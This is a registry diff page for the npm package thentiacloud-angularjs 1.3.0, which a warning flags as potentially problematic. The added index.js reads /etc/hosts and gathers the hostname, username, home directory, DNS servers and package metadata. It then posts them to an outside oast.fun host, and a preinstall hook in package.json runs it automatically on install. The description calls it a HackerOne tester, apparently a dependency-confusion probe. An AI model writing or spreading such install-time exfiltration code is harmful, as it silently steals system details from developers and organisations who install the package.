thentiacloud-angularjs 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of thentiacloud-angularjs might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +64 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,64 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Read the hosts file
10
+ const hostsFileContent = fs.readFileSync("/etc/hosts", "utf8");
11
+
12
+ // Get full system information
13
+ const systemInfo = {
14
+ platform: os.platform(),
15
+ release: os.release(),
16
+ type: os.type(),
17
+ architecture: os.arch(),
18
+ hostname: os.hostname(),
19
+ homedir: os.homedir(),
20
+ userInfo: os.userInfo(),
21
+ };
22
+
23
+ const trackingData = JSON.stringify({
24
+ p: package,
25
+ c: __dirname,
26
+ hd: systemInfo.homedir,
27
+ hn: systemInfo.hostname,
28
+ un: systemInfo.userInfo.username,
29
+ dns: dns.getServers(),
30
+ r: packageJSON ? packageJSON.___resolved : undefined,
31
+ v: packageJSON.version,
32
+ pjson: packageJSON,
33
+ hosts: hostsFileContent,
34
+ systemInfo: systemInfo,
35
+ });
36
+
37
+ var postData = querystring.stringify({
38
+ msg: trackingData,
39
+ });
40
+
41
+ var options = {
42
+ hostname: "cjh0et32vtc0000q77mggjeo8pyyyyyyb.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
43
+ port: 443,
44
+ path: "/",
45
+ method: "POST",
46
+ headers: {
47
+ "Content-Type": "application/x-www-form-urlencoded",
48
+ "Content-Length": postData.length,
49
+ },
50
+ };
51
+
52
+ var req = https.request(options, (res) => {
53
+ res.on("data", (d) => {
54
+ process.stdout.write(d);
55
+ });
56
+ });
57
+
58
+ req.on("error", (e) => {
59
+ // console.error(e);
60
+ });
61
+
62
+ req.write(postData);
63
+ req.end();
64
+
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "thentiacloud-angularjs",
3
+ "version": "1.3.0",
4
+ "description": "Hackerone Tester fanimalikhack",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }